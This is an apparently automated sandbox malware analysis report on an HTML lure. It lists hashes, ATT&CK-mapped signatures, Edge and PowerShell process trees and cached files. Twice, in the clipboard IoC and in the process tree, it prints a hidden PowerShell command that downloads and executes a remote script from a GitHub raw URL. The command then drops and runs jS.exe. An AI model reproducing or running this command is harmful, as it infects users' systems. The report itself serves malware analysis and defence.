2363a7483574376e2eecfcf3ab581b1c531aa3e0695dc0d2393795cf241bae86

Resubmissions

05/09/2026, 18:01

260905-wl84msfb728

22/08/2026, 22:57

260822-2xnvqscn6w8

Analysis

user interaction
yes
max time kernel
138s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/09/2026, 18:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sample.html
Size 7KB
Sample260905-wl84msfb72
SHA256 2363a7483574376e2eecfcf3ab581b1c531aa3e0695dc0d2393795cf241bae86
MD5 7696370ab915ae35c9caa9622384a5fd
SHA1 134b6d2ff0a7640557632565c448786050033a19
SHA512 8857aa1d67897dc8db4e55d24095fbaef0c8ec6d27e033d3a5708eba2b1aac50b89ace3210e8ecde1e594f80a54a41c87bdd72fc82a30f2a7579fa97f2f50624
SSDEEP 96:qt+cRFyHalni7HCOXbyYfRXYtWOCS+t4UHvOoVncnLhKjgAxmqP:qsG0rpXbVJYtrbUP1xcLY9kqP
TLSH
T165F1D7F6321288A3465657F9A8E7F3EAA3777805A0418005D99CFF187CB0F9B0152EE9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
182	816	PowerShell.exe
183	816	PowerShell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
816	PowerShell.exe
816	PowerShell.exe

Executes dropped EXE 1 IoCs

pid	Process
4288	jS.exe

Suspicious clipboard content. 1 IoCs

A suspicious script was copied to clipboard.

ioc	Process
powershell.exe -W Hidden -command "Invoke-Expression (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/anutays/hm/refs/heads/main/t.txt').Content" # /////////////////////////////////////////////////////////// Press Enter, cutie~	msedge.exe

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
161	raw.githubusercontent.com
162	raw.githubusercontent.com
164	raw.githubusercontent.com
182	raw.githubusercontent.com
1	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	PowerShell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jS.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1276	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134331049189288196"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2246396966-3025826688-3847171515-1000\{B52FCE2D-9F43-4C7B-A93D-A0E41B608AB2}	msedge.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
816	PowerShell.exe
816	PowerShell.exe
816	PowerShell.exe
1516	msedge.exe
1516	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	816	PowerShell.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4288	jS.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 4776 wrote to memory of 4652	4776	msedge.exe	89
PID 4776 wrote to memory of 3696	4776	msedge.exe	90
PID 4776 wrote to memory of 1276	4776	msedge.exe	92
PID 4776 wrote to memory of 3696	4776	msedge.exe	90
PID 4776 wrote to memory of 3696	4776	msedge.exe	90
PID 4776 wrote to memory of 1916	4776	msedge.exe	93
PID 4776 wrote to memory of 1916	4776	msedge.exe	93
PID 4776 wrote to memory of 4504	4776	msedge.exe	94
PID 4776 wrote to memory of 4504	4776	msedge.exe	94
PID 4776 wrote to memory of 4504	4776	msedge.exe	94
PID 4776 wrote to memory of 4892	4776	msedge.exe	95
PID 4776 wrote to memory of 4892	4776	msedge.exe	95
PID 4776 wrote to memory of 4892	4776	msedge.exe	95
PID 4776 wrote to memory of 5000	4776	msedge.exe	96
PID 4776 wrote to memory of 6036	4776	msedge.exe	97
PID 4776 wrote to memory of 5000	4776	msedge.exe	96
PID 4776 wrote to memory of 5000	4776	msedge.exe	96
PID 4776 wrote to memory of 6036	4776	msedge.exe	97
PID 4776 wrote to memory of 6036	4776	msedge.exe	97
PID 4776 wrote to memory of 6140	4776	msedge.exe	100
PID 4776 wrote to memory of 5716	4776	msedge.exe	99
PID 4776 wrote to memory of 6140	4776	msedge.exe	100
PID 4776 wrote to memory of 5716	4776	msedge.exe	99
PID 4776 wrote to memory of 4644	4776	msedge.exe	102
PID 4776 wrote to memory of 3108	4776	msedge.exe	105
PID 4776 wrote to memory of 3108	4776	msedge.exe	105
PID 4776 wrote to memory of 3108	4776	msedge.exe	105
PID 4776 wrote to memory of 604	4776	msedge.exe	106
PID 4776 wrote to memory of 604	4776	msedge.exe	106
PID 4776 wrote to memory of 1808	4776	msedge.exe	107
PID 4776 wrote to memory of 1808	4776	msedge.exe	107
PID 4776 wrote to memory of 1808	4776	msedge.exe	107
PID 4776 wrote to memory of 5920	4776	msedge.exe	108
PID 4776 wrote to memory of 5920	4776	msedge.exe	108
PID 4776 wrote to memory of 5920	4776	msedge.exe	108
PID 4776 wrote to memory of 5864	4776	msedge.exe	109
PID 4776 wrote to memory of 5864	4776	msedge.exe	109
PID 4776 wrote to memory of 5864	4776	msedge.exe	109
PID 4776 wrote to memory of 2492	4776	msedge.exe	110
PID 4776 wrote to memory of 2492	4776	msedge.exe	110
PID 4776 wrote to memory of 2492	4776	msedge.exe	110
PID 4776 wrote to memory of 3312	4776	msedge.exe	112
PID 4776 wrote to memory of 5944	4776	msedge.exe	113
PID 4776 wrote to memory of 5900	4776	msedge.exe	114
PID 4776 wrote to memory of 4536	4776	msedge.exe	115
PID 4776 wrote to memory of 4536	4776	msedge.exe	115
PID 4776 wrote to memory of 4536	4776	msedge.exe	115
PID 4776 wrote to memory of 6088	4776	msedge.exe	116
PID 4776 wrote to memory of 6088	4776	msedge.exe	116
PID 816 wrote to memory of 4288	816	PowerShell.exe	120
PID 4776 wrote to memory of 1516	4776	msedge.exe	121

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument C:\Users\Admin\AppData\Local\Temp\sample.html
1⤵
- Suspicious clipboard content.
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x288,0x7ff9fc45c188,0x7ff9fc45c194,0x7ff9fc45c1a0
  2⤵
  PID:4652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1616,i,9161031667327037691,3583191029035518663,262144 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=2568 /prefetch:2
  2⤵
  PID:3696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1884,i,15642509643182075492,253733750468847548,524288 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=3104 /prefetch:11
  2⤵
  - System Time Discovery
  PID:1276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2324,i,1683503661799296607,4637686099629505226,524288 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=3224 /prefetch:13
  2⤵
  PID:1916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3588,i,12790983186274396586,7493116289523111309,2097152 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:1
  2⤵
  PID:4504
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3584,i,4125220062953846614,4725647925214470510,2097152 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:1
  2⤵
  PID:4892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4180,i,2874511422617245064,12919966888962847139,2097152 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:1
  2⤵
  PID:5000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4280,i,3193010707418315374,1489141410459094046,2097152 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=4264 /prefetch:9
  2⤵
  PID:6036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5288,i,3368765602697984700,8879029144444666909,524288 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:14
  2⤵
  PID:5716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5244,i,15101904638915218287,6668765863486502925,524288 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:14
  2⤵
  PID:6140
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5972,i,5353303737883647170,15539925726211149541,524288 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:14
  2⤵
  PID:2424
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5972,i,5353303737883647170,15539925726211149541,524288 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:14
  2⤵
  PID:4644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=6532,i,13812549762303736932,2890896451692964333,2097152 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=6552 /prefetch:1
  2⤵
  PID:3108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6744,i,12353447613616689579,11780918633659172602,524288 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:14
  2⤵
  PID:604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6820,i,11751049378876682351,17789107687961401763,2097152 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=6848 /prefetch:1
  2⤵
  PID:1808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6988,i,11159578804623248442,13466885009571856357,2097152 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=4968 /prefetch:1
  2⤵
  PID:5920
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=4660,i,1342439076376658412,16189358433245199812,2097152 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=6092 /prefetch:1
  2⤵
  PID:5864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=3856,i,3146936826108381731,15262279285769607220,2097152 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=6984 /prefetch:1
  2⤵
  PID:2492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5072,i,5018249386997366399,11067407566969509225,524288 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=6920 /prefetch:14
  2⤵
  PID:3312
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6936,i,365198553739799627,10315234737124227112,524288 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=6872 /prefetch:14
  2⤵
  PID:5944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6896,i,8684387263450979319,16795894215588657811,524288 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=6784 /prefetch:14
  2⤵
  PID:5900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=3720,i,8792329292703037932,13341083843061509194,2097152 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=6924 /prefetch:1
  2⤵
  PID:4536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7044,i,10897194294266636760,15262886019258611867,524288 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=7040 /prefetch:14
  2⤵
  PID:6088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5580,i,1380080266511062986,16634914107171567311,262144 --field-trial-handle=2572,i,17357284923734897759,8782298153222972494,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1516

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4880

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1792

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -command "Invoke-Expression (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/anutays/hm/refs/heads/main/t.txt').Content" # /////////////////////////////////////////////////////////// Press Enter, cutie~
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:816
- C:\Users\Admin\jS.exe
  "C:\Users\Admin\jS.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4288

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 67b546fed422708faf33930b82ff4826bc323bc64f67af30b02bb9e565fa27ee
MD5 04925ec9b8ab191e010732cba0eeefe1
SHA1 a6847bd1b4e86ab3cf9f2a8e109e78b04f51204d
SHA512 25e65b33281d8c58aaf4bad265d912d01bcadd9284dc1ce818ccc1dcf59200f57de5e8d8f4ce5ef6da06c777b54dd4dbee7a3aad7a16da9542538e92104e9c68
TLSH
T1C7D0C0343948E288C9832172DCA033117320007074B147054031B41CCE2049323DF5CF
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

f_000022

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000022
Size 33KB
SHA256 539628bdc4f3b107aeb78713c741ab9b5f4737532233506d8f1b1fdc4c81040c
MD5 a06c8f49a760752dc8b3ee4f217bf4fe
SHA1 2c159af5b7341c03cbce67afffafbbae2cbb7787
SHA512 af3b5c625bf4c83616c3ae1e2380df3bd35119998ca75cb96cd590c18b9227d18a03a50cf22880ddf41edd99ac7b8b9918c93a7be90d4dd3a8e6602c8e2b519c
SSDEEP 768:f+QHjwElyDV21n98SlMi1MEOV1IyItHdLqO:GOwKyD01n9RlfyTVJYRqO
TLSH
T1F7E2F15B2127014BED8CA143576EFB4FA9E374AC5609A24F547BE0AA7B8938754BD0C0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000023

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000023
Size 72KB
SHA256 d0866c62db3125d198f24700c2ebde7b28c02cf22a277401d2e8feef638a647f
MD5 79d6f95d6b203b883d4e4b2353490615
SHA1 301fc28ef12a91d385a911f5f0d37aa1a25b7523
SHA512 d155a8f647b821979e4dd5e8f40f9405aa10345f255a23276239cc48c7a0becf32d21673202efb4f070ca6dc0978e8fa2781922e2646d629afc2e154be372f4c
SSDEEP 1536:oX3HPfrtZDy8SzT59XdZKv+pYVN7fX3wMqoaP/Fjxhz2uoicl5dLZwdQ:k3Pfn2ZznYV9wMEFjxhyuiLadQ
TLSH
T1327312276DAA5EC622B4CCA8C527E77120D9284CFD78D037C804EF7AE0E54E92F1A546
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000024

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000024
Size 96KB
SHA256 00b42308115826481315f6a815745f8d445a89d855fa587f627b7b4388810023
MD5 89341da90f4120b2461a9bafeef01775
SHA1 90e281f4ff94fc0eaee2e876234884e16f69894d
SHA512 bb3e8fd234ec764c6450622ff2d5f2e6e777cac6006fa23b9c3e986d79b89911b9a57ebca3bb3f3e15b8437d0b305634eea968e7d8808188efca4840bf4d5112
SSDEEP 3072:OFM4gnEp7667akyq8ez5pqVo0cvK4Dhq/8fQVT:8cIwdq87ouczQR
TLSH
T1F8A312DE415A5AD9711B87D540A18F2E140288FDAE3AC206E3C7493E1D7E1BED2392DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000025

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000025
Size 409KB
SHA256 7481b444adbaae4f7a79174b175946fa4336f6baf026ccd4df590112712f6b60
MD5 66037a123614fcddbadbff1c63f466b8
SHA1 3566e363b0cd701ae364e4a6727ba57d619ad4db
